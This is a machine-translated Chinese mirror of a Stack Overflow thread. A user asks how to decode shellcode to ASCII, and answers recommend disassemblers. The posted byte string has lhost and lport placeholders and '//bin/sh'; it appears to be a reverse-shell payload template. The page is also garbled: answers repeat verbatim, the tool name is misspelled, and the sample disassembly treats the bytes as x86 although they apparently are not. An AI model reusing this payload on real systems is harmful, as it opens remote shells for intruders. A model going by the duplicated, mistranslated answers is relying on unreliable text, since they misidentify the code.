Linux 如何将外壳代码解码为ascii码
我有一些外壳代码,当我转换成ascii时,它不会输出文本,只是胡言乱语Linux 如何将外壳代码解码为ascii码,linux,decoding,shellcode,Linux,Decoding,Shellcode,我有一些外壳代码,当我转换成ascii时,它不会输出文本,只是胡言乱语 \x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x
\x24\x11\xff\xff\x24\x04\x27\x0f\x24\x02\x10\x46\x01\x01\x01\x0c\x1e\x20\xff\xfc\x24\x11\x10\x2d\x24\x02\x0f\xa2\x01\x01\x01\x0c\x1c\x40\xff\xf8\x24\x0f\xff\xfa\x01\xe0\x78\x27\x21\xe4\xff\xfd\x21\xe5\xff\xfd\x28\x06\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\xaf\xa2\xff\xff\x8f\xa4\xff\xff\x34\x0f\xff\xfd\x01\xe0\x78\x27\xaf\xaf\xff\xe0\x3c\x0e + lport +\x35\xce + lport +\xaf\xae\xff\xe4\x3c\x0e + lhost[:2] +\x35\xce + lhost[2:4] +\xaf\xae\xff\xe6\x27\xa5\xff\xe2\x24\x0c\xff\xef\x01\x80\x30\x27\x24\x02\x10\x4a\x01\x01\x01\x0c\x24\x0f\xff\xfd\x01\xe0\x78\x27\x8f\xa4\xff\xff\x01\xe0\x28\x21\x24\x02\x0f\xdf\x01\x01\x01\x0c\x24\x10\xff\xff\x21\xef\xff\xff\x15\xf0\xff\xfa\x28\x06\xff\xff\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c
我尝试了用相同的输出以多种方式对其进行解码,是否有其他方法对其进行解码?您可以使用python one liner和
NDISSM
工具进行反汇编
例如,python-c'print“\x24\x11\xff\xff\x24\x04\x27\x0f”| ndisam-u-
结果:
00000000 2411 and al,0x11
00000002 FF db 0xff
00000003 FF2404 jmp [esp+eax]
00000006 27 daa
00000007 0F db 0x0f
00000008 0A db 0x0a
您可以使用python one liner和
ndisam
工具进行反汇编
例如,python-c'print“\x24\x11\xff\xff\x24\x04\x27\x0f”| ndisam-u-
结果:
00000000 2411 and al,0x11
00000002 FF db 0xff
00000003 FF2404 jmp [esp+eax]
00000006 27 daa
00000007 0F db 0x0f
00000008 0A db 0x0a
用
外壳代码
阐述你的意思;示例中有大量非ASCII数据(任何高于\x7f的数据);对于较低的值,只要您有一些字节值对应于字符串,就有echo-e'\x43\x61\x74'
,这绝对有必要知道这些字节值的编码方式。如果没有编码,您所能做的就是尝试将字符串从一堆转换为目标编码。即使这样,您也需要记住,并非所有编码都是相等的-ASCII只有这么多的码点,其他编码有其他码点,以及从字节构造字符的其他方式,例如UTF-8等多字节编码。外壳代码包含机器指令,因此,作为ASCII进行解码肯定不起作用。你可能应该试试反汇编程序。我不知道有哪些工具能够做到这一点,但也许objdump可以帮助您详细说明使用外壳代码的含义;示例中有大量非ASCII数据(任何高于\x7f的数据);对于较低的值,只要您有一些字节值对应于字符串,就有echo-e'\x43\x61\x74'
,这绝对有必要知道这些字节值的编码方式。如果没有编码,您所能做的就是尝试将字符串从一堆转换为目标编码。即使这样,您也需要记住,并非所有编码都是相等的-ASCII只有这么多的码点,其他编码有其他码点,以及从字节构造字符的其他方式,例如UTF-8等多字节编码。外壳代码包含机器指令,因此,作为ASCII进行解码肯定不起作用。你可能应该试试反汇编程序。我不知道有什么工具可以做到这一点,但也许objdump可以帮助您